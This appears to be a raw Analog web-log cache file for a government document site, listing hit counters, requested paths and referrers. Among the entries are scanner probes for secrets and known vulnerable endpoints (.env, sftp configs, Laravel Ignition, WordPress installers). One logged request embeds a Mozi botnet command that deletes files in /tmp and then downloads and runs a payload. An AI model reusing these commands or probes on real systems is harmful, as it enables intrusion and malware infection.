CACHE type 5 produced by analog 6.0/Unix. Do not modify or delete!
T	0	0	577	158	1	317	8401527
D	27397362	28088162
19025	272	1	1	623
19025	274	2	0	141
19026	283	2	0	141
19027	283	2	0	141
19028	283	2	0	141
19053	280	1	1	623
19066	42	30	2	712724
19066	44	111	13	1920654
19066	45	2	2	4352
19066	46	18	2	454720
19066	47	2	2	4352
19066	148	15	2	262555
19082	256	15	1	356362
19091	229	1	1	0
19110	22	1	1	163
19110	57	1	1	163
19110	61	1	1	163
19110	63	1	1	163
19110	67	2	2	326
19110	77	1	1	163
19110	79	1	1	163
19110	94	1	1	163
19110	97	1	1	163
19110	99	1	1	163
19110	103	1	1	163
19110	104	1	1	163
19110	118	1	1	163
19110	121	1	1	163
19110	125	1	1	163
19110	131	1	1	163
19110	133	1	1	163
19110	153	1	1	163
19110	158	1	1	163
19110	177	1	1	163
19110	180	1	1	163
19282	284	1	1	2176
19282	287	1	1	0
19283	0	13	3	336811
19283	1	28	12	476480
19283	2	1	1	2176
19309	283	1	0	64
19329	246	1	1	2176
19329	283	1	0	64
19341	260	12	4	233888
19347	283	1	0	64
19379	279	16	2	422310
19380	147	3	3	6528
19382	283	1	0	64
19383	283	1	0	64
19384	156	10	1	162290
19384	283	1	0	64
19385	283	1	0	64
19386	283	1	0	64
19387	283	1	0	64
19388	8	9	1	227360
19388	283	1	0	64
19389	283	1	0	64
19390	271	1	1	2176
19390	283	1	0	64
19391	283	1	0	64
19392	31	1	1	2176
19392	189	1	1	2176
19392	283	1	0	64
19393	283	1	0	64
19394	283	1	0	64
19395	283	1	0	64
19396	5	1	1	2176
19396	104	7	0	196425
19396	107	1	0	28759
19396	283	1	0	64
19397	283	1	0	64
19398	283	1	0	64
19399	283	1	0	64
19400	283	1	0	64
19401	283	1	0	64
19402	230	1	1	2176
19402	283	1	0	64
19403	283	1	0	64
19404	283	1	0	64
19405	283	1	0	64
19406	283	1	0	64
19407	124	1	1	2176
19407	133	1	1	2176
19407	283	1	0	64
19408	196	3	3	6528
19408	242	12	4	233888
19408	259	2	2	4352
19408	283	1	0	64
19409	283	1	0	64
19410	283	1	0	64
19411	283	1	0	64
19412	2	1	1	2176
19412	283	1	0	64
19413	283	1	0	64
19414	283	1	0	64
19415	283	1	0	64
19416	283	1	0	64
19417	283	1	0	64
19418	80	1	1	2176
19418	283	1	0	64
19419	283	1	0	64
19420	44	1	1	2176
19420	82	1	1	2176
19420	283	1	0	64
19421	153	1	1	2176
19421	161	15	1	395026
19421	164	2	0	57518
19421	283	1	0	64
19422	283	1	0	64
19423	283	1	0	64
19424	283	1	0	64
19425	283	1	0	64
19426	283	1	0	64
19427	283	1	0	64
19428	207	1	1	2176
19428	283	1	0	64
19429	283	1	0	64
19430	283	1	0	64
19431	283	1	0	64
19432	283	1	0	64
19433	171	10	1	162290
19433	283	1	0	64
19434	283	3	0	218
19435	2	1	1	2176
19435	283	1	0	64
19436	283	1	0	64
19437	59	8	1	198601
19437	60	4	3	35287
19437	61	1	1	2176
19437	283	1	0	64
19438	276	1	1	2176
19440	15	1	1	2176
19449	205	1	1	2176
19452	138	1	1	2176
19452	200	1	1	2176
19453	188	2	2	4352
19457	103	1	1	2176
19460	161	3	3	6528
19463	30	10	2	227360
19465	244	3	3	6528
19465	246	3	3	6528
19466	179	3	3	6528
19468	56	1	1	2176
19474	126	1	1	2176
19475	228	10	1	162290
19477	219	12	4	233888
19478	174	1	1	2176
19479	26	10	1	162290
19485	126	1	1	2176
19485	232	4	4	8704
19487	107	1	1	2176
19487	151	1	0	208
19488	279	1	0	208
19489	225	1	0	208
19490	130	1	1	2176
19490	165	1	0	208
19491	167	1	0	208
19492	95	1	0	208
19493	86	1	1	2176
19493	217	1	1	2176
19493	277	1	0	208
19494	246	1	0	208
19495	176	1	0	208
19500	174	1	0	208
19500	285	1	1	2176
19501	203	20	6	363513
19503	46	9	1	227360
19503	215	1	1	2176
19505	192	1	0	208
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/wp/wp-includes/wlwmanifest.xml
1	1	0	0	0	27921578	0	0	27921578	0	0	64	/.well-known/pki-validation/E6248C3283BC5774D210C0C9361AA5A1.txt?165.227.90.27
1	1	0	0	0	27963338	0	0	27963338	0	0	64	/.well-known/pki-validation/F17BD18E8730E62097BBC1C7F34A2745.txt?18.236.84.42
1	0	0	0	4	0	0	27989588	0	0	27767529	0	/module
1	0	0	0	4	0	0	27989588	0	0	27767529	0	/wp-content/uploads
1	0	0	0	1	0	0	28054829	0	0	28054829	0	/cms/wp-admin/install.php
1	1	0	0	0	27398858	0	0	27398858	0	0	64	/.well-known/pki-validation/FC3E109A6D5BA9D50941021FBF919D60.txt?103.239.165.130
1	0	0	0	1	0	0	27455251	0	0	27455251	0	/robots.txt?103.239.165.130
1	1	0	0	0	27401738	0	0	27401738	0	0	64	/.well-known/pki-validation/EF9CBE37513A0F49FF1657302400FBD0.txt?103.239.165.130
1	1	0	0	0	27984938	0	0	27984938	0	0	64	/.well-known/pki-validation/66543245041F0E6409E498F6A90D0F3B.txt?34.247.136.224
1	0	0	0	1	0	0	27977359	0	0	27977359	0	/themes/js/kcfinder/
1	0	0	0	1	0	0	27518705	0	0	27518705	0	/thinkphp/html/public/index.php
1	1	0	0	0	27956138	0	0	27956138	0	0	64	/.well-known/pki-validation/FE7EEDEC348FCB43BF27B5ACC68A5975.txt?18.236.84.42
1	0	0	0	1	0	0	27977359	0	0	27977359	0	/assets/plugins/kcfinder/
1	1	0	0	0	27966218	0	0	27966218	0	0	64	/.well-known/pki-validation/21CB357C8B6A8D5C021CB7F7C0A17860.txt?18.236.84.42
1	0	0	0	4	0	0	28013340	0	0	28013317	0	/sftp-config.json
1	0	0	0	1	0	0	28031935	0	0	28031935	0	/admin/includes/general.js
1	0	0	0	1	0	0	28024531	0	0	28024531	0	/ticket/vendor/htmlawed/htmlawed/htmLawedTest.php
1	0	0	0	1	0	0	27518705	0	0	27518705	0	/elrekt.php
1	0	0	0	1	0	0	28031935	0	0	28031935	0	/_ignition/execute-solution
1	0	0	0	1	0	0	28034204	0	0	28034204	0	/media/system/js/core.js
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/shop/wp-includes/wlwmanifest.xml
1	1	0	0	0	27943178	0	0	27943178	0	0	64	/.well-known/pki-validation/CD199E73FD8C0DE30FFC5123E87BBDC0.txt?167.248.133.60
1	0	0	0	1	0	0	28031935	0	0	28031935	0	/images/editor/separator.gif
1	0	0	0	1	0	0	28054829	0	0	28054829	0	/wp/wp-admin/install.php
1	1	1	0	0	27767520	0	0	27767520	0	0	2176	/?fbclid=IwAR2L5LuXhSsTAmQY1Zo4-Sw0H77EKFqMoOW_IJpu1OhTwwji2WAttWBkXVI
1	0	0	0	1	0	0	27977359	0	0	27977359	0	/asset/vendors/kcfinder/
1	45	0	0	0	28084551	0	0	27455251	0	0	3935303	/assets/js/jquery.min.js
1	1	0	0	0	27990698	0	0	27990698	0	0	64	/.well-known/pki-validation/9910A52A4FDC716E4CBD1888EC0F801B.txt?34.247.136.224
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/wp2/wp-includes/wlwmanifest.xml
1	0	0	0	6	0	0	28047976	0	0	27767529	0	/api
1	1	0	0	0	27947498	0	0	27947498	0	0	64	/.well-known/pki-validation/3CABC4616F49CEE0DB8C170696832B98.txt?165.227.90.27
1	1	0	0	0	27944618	0	0	27944618	0	0	64	/.well-known/pki-validation/F5225809ABD097059462A594032D41A9.txt?165.227.90.27
1	1	0	0	0	27397374	0	0	27397374	0	0	77	/.well-known/pki-validation/C0AFB00715D62E2DDCC999C8782018F3.txt
1	29	0	0	0	28084551	0	0	27455251	0	0	1955267	/assets/css/main.css
1	0	0	0	1	0	0	28008336	0	0	28008336	0	/laravel-filemanager?18.236.84.42
1	0	0	0	2	0	0	27518830	0	0	27518705	0	/index.php
1	0	0	0	1	0	0	27941927	0	0	27941927	0	/wp-content/themes/seotheme/db.php?u
1	1	0	0	0	27979178	0	0	27979178	0	0	64	/.well-known/pki-validation/9FB8A2E2ECE1ED3A2E91C449AC523393.txt?34.247.136.224
1	0	0	0	4	0	0	27989588	0	0	27767529	0	/resources/uploads/
1	0	0	0	1	0	0	27767529	0	0	27767529	0	/administrator
1	0	0	0	1	0	0	27977358	0	0	27977358	0	/asset/js/kcfinder/
1	0	0	0	7	0	0	28031935	0	0	27518524	0	/.env
1	0	0	0	1	0	0	27977358	0	0	27977358	0	/asset/webadmin/js/kcfinder/
1	0	0	0	1	0	0	27977359	0	0	27977359	0	/asset/kcfinder
1	0	0	0	1	0	0	28054829	0	0	28054829	0	/site/wp-admin/install.php
1	0	0	0	1	0	0	27518705	0	0	27518705	0	/TP/html/public/index.php
1	0	0	0	1	0	0	27518628	0	0	27518628	0	/boaform/admin/formLogin
1	1	0	0	0	27934538	0	0	27934538	0	0	64	/.well-known/pki-validation/4A6189A485D67BECA173416B333E664C.txt?167.248.133.60
1	1	0	0	0	27983498	0	0	27983498	0	0	64	/.well-known/pki-validation/EB7963E3647AD70B7D2F3915106525B4.txt?18.236.84.42
1	0	0	0	1	0	0	28054829	0	0	28054829	0	/old/wp-admin/install.php
1	0	0	0	1	0	0	28031935	0	0	28031935	0	/js/header-rollup-554.js
1	1	0	0	0	27977738	0	0	27977738	0	0	64	/.well-known/pki-validation/3EF8D475999A7B04E7086125A7B6065A.txt?18.236.84.42
1	0	0	0	1	0	0	28054829	0	0	28054829	0	/new/wp-admin/install.php
1	45	0	0	0	28084551	0	0	27455251	0	0	42927	/assets/js/jquery.scrollzer.min.js
1	0	0	0	1	0	0	27834966	0	0	27834966	0	/robots.txt?167.248.133.60
1	0	0	0	1	0	0	28031935	0	0	28031935	0	/administrator/
1	0	0	0	1	0	0	28024531	0	0	28024531	0	/index.php/vendor/htmlawed/htmlawed/htmLawedTest.php
1	1	0	0	0	27948938	0	0	27948938	0	0	64	/.well-known/pki-validation/3E919A652E133A69F7F3893F12788E96.txt
1	0	0	0	4	0	0	28080870	0	0	28011571	0	/robots.txt?34.247.136.224
1	0	0	0	1	0	0	28054829	0	0	28054829	0	/backup/wp-admin/install.php
1	0	0	0	1	0	0	28031935	0	0	28031935	0	/admin/view/javascript/common.js
1	0	0	0	1	0	0	28054829	0	0	28054829	0	/oldsite/wp-admin/install.php
1	1	0	0	0	27398858	0	0	27398858	0	0	77	/.well-known/pki-validation/FD5A6DDB3127AA4F61304F7016C666D6.txt
1	1	0	0	0	27918698	0	0	27918698	0	0	64	/.well-known/pki-validation/8E1DDECFA5FAA6045FDD59D64AFB5FED.txt?165.227.90.27
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/website/wp-includes/wlwmanifest.xml
1	1	0	0	0	27964778	0	0	27964778	0	0	64	/.well-known/pki-validation/B52E8245930F75811B3263796B251501.txt?18.236.84.42
1	0	0	0	1	0	0	28054829	0	0	28054829	0	/wp-admin/install.php
1	0	0	0	1	0	0	28031935	0	0	28031935	0	/plugins/system/debug/debug.xml
1	1	0	0	0	27930219	0	0	27930219	0	0	64	/.well-known/pki-validation/A4B60F9C6493300B0F6CF6DAF728AAF1.txt?165.227.90.27
1	0	0	0	1	0	0	28043190	0	0	28043190	0	/robots.txt?18.236.84.42
1	0	0	0	4	0	0	28013340	0	0	28013317	0	/.vscode/sftp.json
1	3	0	0	0	28072594	0	0	28064118	0	0	624	/sitemap.xml?34.247.136.224
1	0	0	0	1	0	0	27518705	0	0	27518705	0	/TP/index.php
1	1	0	0	0	27987818	0	0	27987818	0	0	64	/.well-known/pki-validation/97371238217678FFCB7FE3D199CE1100.txt?34.247.136.224
1	0	0	0	1	0	0	28034204	0	0	28034204	0	/wp-includes/js/jquery/jquery.js
1	0	0	0	1	0	0	28024531	0	0	28024531	0	/glpi/vendor/htmlawed/htmlawed/htmLawedTest.php
1	1	0	0	0	27912938	0	0	27912938	0	0	64	/.well-known/pki-validation/04F969FE0BCBCC1E128FAF34508915C0.txt?165.227.90.27
1	1	0	0	0	27917258	0	0	27917258	0	0	64	/.well-known/pki-validation/8E9B678090888F9F17C7F6E4A79ED5E7.txt?167.248.133.60
1	0	0	0	4	0	0	27989588	0	0	27767529	0	/resources/
1	0	0	0	1	0	0	28054829	0	0	28054829	0	/test/wp-admin/install.php
1	28	0	0	1	28084551	0	27455264	27455251	0	27455264	805252	/assets/css/font-awesome.min.css
1	7	7	0	1	28049890	0	28054172	27992102	0	28054172	15232	/?18.236.84.42
1	0	0	0	1	0	0	28031935	0	0	28031935	0	/administrator/help/en-GB/toc.json
1	0	0	0	1	0	0	27977358	0	0	27977358	0	/asset/kcfinder/
1	1	0	0	0	27806378	0	0	27806378	0	0	64	/.well-known/pki-validation/4288CFC715C5D8D5DE292238CAC97354.txt?165.227.90.27
1	0	0	0	1	0	0	27977358	0	0	27977358	0	/public/js/kcfinder/
1	1	0	0	0	27937418	0	0	27937418	0	0	64	/.well-known/pki-validation/305DAE2DF41988C3E20CDD64D4CD8534.txt?167.248.133.60
1	1	0	0	0	27925898	0	0	27925898	0	0	64	/.well-known/pki-validation/208C5E23A344E20C1ED98FECA6DEE80A.txt?167.248.133.60
1	0	0	0	1	0	0	28024531	0	0	28024531	0	/vendor/htmlawed/htmlawed/htmLawedTest.php
1	1	0	0	0	27961898	0	0	27961898	0	0	64	/.well-known/pki-validation/DB6F642C8EB0C92F5F877A8B0ACF3289.txt?18.236.84.42
1	1	0	0	0	27954698	0	0	27954698	0	0	64	/.well-known/pki-validation/CC11B427BA376014E4A347E52DB21980.txt?18.236.84.42
1	1	0	0	0	27982058	0	0	27982058	0	0	64	/.well-known/pki-validation/CE6FF8F554B2EDC0324758C1923BB639.txt?34.247.136.224
1	0	0	0	4	0	0	28047976	0	0	27767529	0	/jasperserver-pro/login.html
1	0	0	0	1	0	0	27519419	0	0	27519419	0	/$sitepreview/localhost:2006/Wizard/
1	0	0	1	0	0	28082456	0	0	28082456	0	0	/assets
1	0	0	0	1	0	0	27435945	0	0	27435945	0	/.well-known/pki-validation/7B4CCE23EBB88701E2D17D5600E19138.txt?103.239.165.130
1	49	0	0	0	28084551	0	0	27455251	0	0	788835	/assets/js/util.js
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/web/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	28006180	0	0	28006180	0	/community/?wpforo=signup
1	1	0	0	0	27928778	0	0	27928778	0	0	64	/.well-known/pki-validation/D9979C09AD4182EB71F0368DD287F486.txt?167.248.133.60
1	1	0	0	0	27946058	0	0	27946058	0	0	64	/.well-known/pki-validation/7D8D51C480404904BE7C1680D94C3FB4.txt?167.248.133.60
1	1	0	0	0	27989258	0	0	27989258	0	0	64	/.well-known/pki-validation/C6E56EA95217B89A736C5FE9FDF64699.txt?18.236.84.42
1	1	0	0	0	27957578	0	0	27957578	0	0	64	/.well-known/pki-validation/6C9184071A3DDAC12C15B7E28BCC8194.txt?18.236.84.42
1	1	0	0	0	27973418	0	0	27973418	0	0	64	/.well-known/pki-validation/7A2D21D0C0F2948C0F5CD07B2263AE92.txt?34.247.136.224
1	1	0	0	0	27935978	0	0	27935978	0	0	64	/.well-known/pki-validation/C596692050575F5CFA2E86652500A89B.txt?165.227.90.27
1	0	0	0	6	0	0	28047976	0	0	27767529	0	/error.json
1	0	0	0	1	0	0	27518617	0	0	27518617	0	/phpmyadmin4.8.5/index.php
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/wp1/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	27977359	0	0	27977359	0	/assets/vendors/kcfinder/
1	0	0	0	1	0	0	27977358	0	0	27977358	0	/assets/kcfinder/
1	0	0	0	1	0	0	27977358	0	0	27977358	0	/public/asset/js/kcfinder/
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/site/wp-includes/wlwmanifest.xml
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/blog/wp-includes/wlwmanifest.xml
1	1	0	0	0	27950378	0	0	27950378	0	0	64	/.well-known/pki-validation/52B045E2DC84075E96EE5E841CFDBB37.txt?18.236.84.42
1	0	0	0	1	0	0	27519282	0	0	27519282	0	/CFIDE/administrator/
1	0	0	0	1	0	0	27518901	0	0	27518901	0	/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
1	1	0	0	0	27986378	0	0	27986378	0	0	64	/.well-known/pki-validation/F478FE1B26F96F5717B176B2109E693A.txt?18.236.84.42
1	1	0	0	0	27938858	0	0	27938858	0	0	64	/.well-known/pki-validation/6DBEC6F85059A00D7B2D45853A697307.txt?165.227.90.27
1	0	0	0	4	0	0	28013340	0	0	28013317	0	/sftp.json
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/2020/wp-includes/wlwmanifest.xml
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/2019/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	27977358	0	0	27977358	0	/asset/js_ckeditor/kcfinder/
1	0	0	0	4	0	0	28030832	0	0	27948504	0	/cms/wp-includes/wlwmanifest.xml
1	1	0	0	0	27974858	0	0	27974858	0	0	64	/.well-known/pki-validation/5453833693CD40488A73A8A75D74E9FD.txt?18.236.84.42
1	2	2	0	0	28082456	0	0	28082456	0	0	3752	/assets/js/
1	0	0	0	4	0	0	28013340	0	0	28013317	0	/prevlaravel/sftp-config.json
1	0	0	0	1	0	0	28031935	0	0	28031935	0	/vendor/phpunit/phpunit/build.xml
1	0	0	0	2	0	0	28063251	0	0	28062059	0	/sitemap.xml.gz
1	0	0	0	1	0	0	28024531	0	0	28024531	0	/helpdesk/vendor/htmlawed/htmlawed/htmLawedTest.php?34.247.136.224
1	0	0	0	4	0	0	27989588	0	0	27767529	0	/wp-content/plugins
1	0	0	0	1	0	0	27518672	0	0	27518672	0	/goform/webLogin
1	0	0	0	14	0	0	28088162	0	0	27913741	0	/robots.txt
1	0	0	0	14	0	0	28084551	0	0	27455251	0	/favicon.ico
1	1	0	0	0	27914378	0	0	27914378	0	0	64	/.well-known/pki-validation/3B186EE826DDD248B5329DD47A378644.txt?167.248.133.60
1	0	0	0	3	0	0	27989588	0	0	27767529	0	/components
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/xmlrpc.php?rsd
1	0	0	0	1	0	0	27977359	0	0	27977359	0	/asset/ckfinder/ckfinder/
1	0	0	0	1	0	0	27518705	0	0	27518705	0	/html/public/index.php
1	1	0	0	0	27967658	0	0	27967658	0	0	64	/.well-known/pki-validation/45A2258D59245F58F3F9FDB16D9DB899.txt?34.247.136.224
1	1	1	0	0	28082456	0	0	28082456	0	0	1161	/assets/js/ie/
1	2	2	0	0	27907157	0	0	27852342	0	0	4352	/?165.227.90.27
1	0	0	0	4	0	0	27989588	0	0	27767529	0	/modules
1	1	0	0	0	27920138	0	0	27920138	0	0	64	/.well-known/pki-validation/B0A0F3A752774859B3CA5C61B19FC67E.txt?167.248.133.60
1	1	0	0	0	27940298	0	0	27940298	0	0	64	/.well-known/pki-validation/6F29AAF1158891EFB5804FF03680D03E.txt?167.248.133.60
1	0	0	0	1	0	0	27518705	0	0	27518705	0	/public/index.php
1	2	2	0	0	28082456	0	0	28082456	0	0	2238	/assets/
1	0	0	0	1	0	0	28031935	0	0	28031935	0	/misc/ajax.js
1	0	0	0	1	0	0	27402825	0	0	27402825	0	/.well-known/pki-validation/B0D53FF93CABCB8E6F02988EF8DE0FF1.txt
1	0	0	0	2	0	0	28063198	0	0	28062006	0	/sitemap.txt
1	0	0	0	1	0	0	27977358	0	0	27977358	0	/public/assets/js/kcfinder/
1	3	3	0	0	27492188	0	0	27455780	0	0	4352	/?77.111.244.29
1	0	0	0	1	0	0	27425865	0	0	27425865	0	/.well-known/pki-validation/A0AC25D1E7BCDDD2062137FE99A38B55.txt?103.239.165.130
1	1	0	0	0	27400298	0	0	27400298	0	0	77	/.well-known/pki-validation/8800BF88BDE38542A10468EEF114B920.txt
1	1	0	0	0	27915818	0	0	27915818	0	0	64	/.well-known/pki-validation/D92F5B50FF186DD2DF6B97EC7ACCF39F.txt?165.227.90.27
1	1	0	0	0	27923018	0	0	27923018	0	0	64	/.well-known/pki-validation/B043B701791C6DCC1E25E4F415452AF0.txt
1	0	0	0	1	0	0	27977359	0	0	27977359	0	/admin/ckeditor/kcfinder/
1	0	0	0	4	0	0	28030832	0	0	27948504	0	/sito/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	27518511	0	0	27518511	0	/.env?77.111.244.29
1	1	0	0	0	27971978	0	0	27971978	0	0	64	/.well-known/pki-validation/9FB3F32DD7E8DF4F45FEBFB2CDAA08B7.txt?18.236.84.42
1	1	0	0	0	27970538	0	0	27970538	0	0	64	/.well-known/pki-validation/6EDB858E6FBD7D6185C9B712C79B50FE.txt?34.247.136.224
1	0	0	0	1	0	0	27977358	0	0	27977358	0	/public/kcfinder/
1	2	2	0	0	27455251	0	0	27437722	0	0	2799	/?103.239.165.130
1	1	0	0	0	27951818	0	0	27951818	0	0	64	/.well-known/pki-validation/FA0001E947834CF58150F8A50FB9BE43.txt?18.236.84.42
1	50	0	0	0	28084551	0	0	27455251	0	0	401104	/assets/js/skel.min.js
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/wp-includes/wlwmanifest.xml
1	1	0	0	0	27400298	0	0	27400298	0	0	64	/.well-known/pki-validation/D7855C33B494BA954F11413B0917BE0A.txt?103.239.165.130
1	1	0	0	0	27931658	0	0	27931658	0	0	64	/.well-known/pki-validation/8C510D1AC967179468E1DEF652AED1CF.txt?167.248.133.60
1	0	0	0	4	0	0	28049890	0	0	27913741	0	/ads.txt
1	1	0	0	0	27911498	0	0	27911498	0	0	64	/.well-known/pki-validation/3B9D265217880CBAB177275146DEBE40.txt?167.248.133.60
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/test/wp-includes/wlwmanifest.xml
1	1	0	0	0	27401738	0	0	27401738	0	0	77	/.well-known/pki-validation/661A99DB0A89D963CE431AB16DB3DB24.txt
1	0	0	0	6	0	0	28047976	0	0	27767529	0	/doesntexist-123
1	0	0	0	4	0	0	28049890	0	0	27913741	0	/app-ads.txt
1	2	0	0	0	27986379	0	0	27986378	0	0	154	/.well-known/pki-validation/4A20CB1C8822FC899B3557D53998099B.txt
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/wordpress/wp-includes/wlwmanifest.xml
1	122	122	0	6	28085399	0	27518638	27397362	0	27437735	206577	/
1	0	0	0	3	0	0	27989588	0	0	27767529	0	/sites/all
1	1	0	0	0	27927338	0	0	27927338	0	0	64	/.well-known/pki-validation/CF522212A59238643BCA35C11D764BAF.txt?165.227.90.27
1	48	0	0	0	28084551	0	0	27455251	0	0	153342	/assets/js/main.js
1	0	0	0	1	0	0	28054829	0	0	28054829	0	/web/wp-admin/install.php
1	1	0	0	0	27969098	0	0	27969098	0	0	64	/.well-known/pki-validation/EAF68AC0AFF5879017950640874A62AD.txt?18.236.84.42
1	1	0	0	0	27941738	0	0	27941738	0	0	64	/.well-known/pki-validation/FFC5E1D7EBF114586C26AB946680253A.txt?165.227.90.27
1	8	0	0	0	28088162	0	0	28062035	0	0	1664	/sitemap.xml
1	1	0	0	0	27924458	0	0	27924458	0	0	64	/.well-known/pki-validation/64C8299751BEB5DC1D000157489CC714.txt?167.248.133.60
1	0	0	0	1	0	0	28054829	0	0	28054829	0	/wordpress/wp-admin/install.php
1	0	0	0	4	0	0	27989588	0	0	27767529	0	/sites/default/files
1	0	0	0	5	0	0	28030832	0	0	27907939	0	/news/wp-includes/wlwmanifest.xml
1	1	0	0	0	27835178	0	0	27835178	0	0	64	/.well-known/pki-validation/26CA1762EAB32C6E29AE943FB427E780.txt
1	1	0	0	0	27861098	0	0	27861098	0	0	64	/.well-known/pki-validation/5D987BE30A3BF696C26BF57CBC632466.txt?167.248.133.60
1	1	0	0	0	27959018	0	0	27959018	0	0	64	/.well-known/pki-validation/4ECAD8B7B2C99A51F484225E6F09102B.txt?18.236.84.42
1	1	0	0	0	27976298	0	0	27976298	0	0	64	/.well-known/pki-validation/345D1585D0A7B4DBC4096E29276F6BE4.txt?34.247.136.224
1	0	0	0	5	0	0	28047976	0	0	27767529	0	/jasperserver/login.html
1	0	0	0	1	0	0	28063169	0	0	28063169	0	/atom.xml?34.247.136.224
1	0	0	0	1	0	0	28008336	0	0	28008336	0	/register
1	0	0	0	1	0	0	28008336	0	0	28008336	0	/filemanager
1	0	0	0	1	0	0	28031935	0	0	28031935	0	/administrator/language/en-GB/install.xml
1	1	0	0	0	27960458	0	0	27960458	0	0	64	/.well-known/pki-validation/7D15A9603E09A3DBC6B06D59BC7B0337.txt?18.236.84.42
1	0	0	0	1	0	0	27408585	0	0	27408585	0	/.well-known/pki-validation/E1B7D2E0C814FCE102E04C158F487BD0.txt?103.239.165.130
1	0	0	0	3	0	0	28051410	0	0	27767529	0	/wp-login.php
1	0	0	0	3	0	0	28086953	0	0	28037571	0	/wp-login.php?34.247.136.224
1	0	0	0	1	0	0	28031935	0	0	28031935	0	/public/_ignition/execute-solution
1	0	0	0	1	0	0	27977358	0	0	27977358	0	/public/js/kcfinder/assets/js/kcfinder/
1	0	0	0	3	0	0	28063669	0	0	28062058	0	/sitemap_index.xml
1	1	0	0	0	27953258	0	0	27953258	0	0	64	/.well-known/pki-validation/27382B788E4A61C9C3E7ACD00D59153E.txt?18.236.84.42
1	1	0	0	0	27933098	0	0	27933098	0	0	64	/.well-known/pki-validation/24F2E0CA861122BBDC1B8DCF4D818605.txt?165.227.90.27
1	1	0	0	0	27980618	0	0	27980618	0	0	64	/.well-known/pki-validation/948191FBC9884AE96DBCE27885748B70.txt?18.236.84.42
1	0	0	0	1	0	0	27518705	0	0	27518705	0	/TP/public/index.php
1	0	0	0	3	0	0	28063549	0	0	28062012	0	/sitemaps.xml
1	1	0	0	0	27397374	0	0	27397374	0	0	64	/.well-known/pki-validation/858A1B88D58DF009107BF3EE454B5164.txt
1	0	0	0	4	0	0	27989588	0	0	27767529	0	/js
1	0	0	0	1	0	0	28054829	0	0	28054829	0	/blog/wp-admin/install.php
1	3	3	0	0	27948734	0	0	27767500	0	0	6528	/?167.248.133.60
1	45	0	0	0	28084551	0	0	27455251	0	0	35260	/assets/js/jquery.scrolly.min.js
1	0	0	0	1	0	0	28064295	0	0	28064295	0	/atom.xml
1	0	0	0	1	0	0	28024531	0	0	28024531	0	/support/vendor/htmlawed/htmlawed/htmLawedTest.php
1	13	13	0	0	28084551	0	0	27993676	0	0	28288	/?34.247.136.224
1	0	0	0	1	0	0	27518830	0	0	27518830	0	/phpmyadmin/index.php
1	0	0	0	1	0	0	27401385	0	0	27401385	0	/.well-known/pki-validation/A81E0B6203B35005138164C9C8840CCC.txt
3	1	1	0	0	28059564	0	0	28059564	0	0	2176	http://yandex.ru/clck/jsredir//google.com//bing.com/
3	1	1	0	0	27479364	0	0	27479364	0	0	2176	https://hosting.sumselprov.go.id:2087/
3	0	0	0	1	0	0	27518628	0	0	27518628	0	http://103.239.165.130/admin/login.asp
3	7	0	0	0	27767520	0	0	27767520	0	0	196425	http://e-dokumen.dlhp.sumselprov.go.id/?fbclid=IwAR2L5LuXhSsTAmQY1Zo4-Sw0H77EKFqMoOW_IJpu1OhTwwji2WAttWBkXVI
3	1	1	0	0	27437722	0	0	27437722	0	0	623	https://hosting.sumselprov.go.id:2083/
3	1	1	0	0	28082456	0	0	28082456	0	0	1876	http://e-dokumen.dlhp.sumselprov.go.id/assets/
3	1	1	0	0	28059564	0	0	28059564	0	0	2176	http://yandex.ru//google.com//bing.com
